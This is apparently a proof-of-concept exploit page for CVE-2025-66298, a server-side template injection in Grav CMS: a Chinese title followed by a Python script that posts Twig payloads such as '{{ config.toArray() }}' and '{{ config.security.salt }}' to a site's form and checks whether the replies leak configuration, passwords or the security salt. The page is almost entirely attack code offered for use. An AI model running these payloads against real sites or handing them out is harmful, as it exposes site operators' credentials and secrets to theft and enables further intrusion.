CVE-2025-66298 Grav CMS 服务器端模板注入导致配置信息泄露

import requests import json # CVE-2025-66298 PoC - Grav CMS SSTI Configuration Disclosure # Target: Grav CMS < 1.8.0-beta.27 target_url = "http://target-site.com/" # Replace with actual target # SSTI payload to extract configuration details # This payload exploits Twig template injection to access config objects ssti_payloads = [ # Basic config extraction "{{ config.toArray() }}", # System configuration "{{ config.system.toArray() }}", # Plugins configuration "{{ config.plugins.toArray() }}", # All configuration "{{ dump(config) }}", # Specific sensitive data "{{ config.system.database }}", "{{ config.security.salt }}", ] def exploit_grav_ssti(): """Exploit Grav CMS SSTI to disclose configuration""" # Target endpoint - typically a form page form_url = target_url + "form-page" # Identify the vulnerable form headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } results = [] for payload in ssti_payloads: # Prepare POST data with SSTI payload post_data = { "form": { "fields": { "name": payload } } } try: response = requests.post(form_url, data=post_data, headers=headers, timeout=10) # Check for configuration disclosure in response if "database" in response.text or "password" in response.text or "salt" in response.text: results.append({ "payload": payload, "status": "VULNERABLE", "config_leaked": True, "response_length": len(response.text) }) except requests.exceptions.RequestException as e: results.append({ "payload": payload, "status": f"ERROR: {str(e)}", "config_leaked": False }) return results if __name__ == "__main__": print("CVE-2025-66298 - Grav CMS SSTI Exploitation") print("Target:", target_url) print("-" * 50) results = exploit_grav_ssti() for result in results: print(json.dumps(result, indent=2))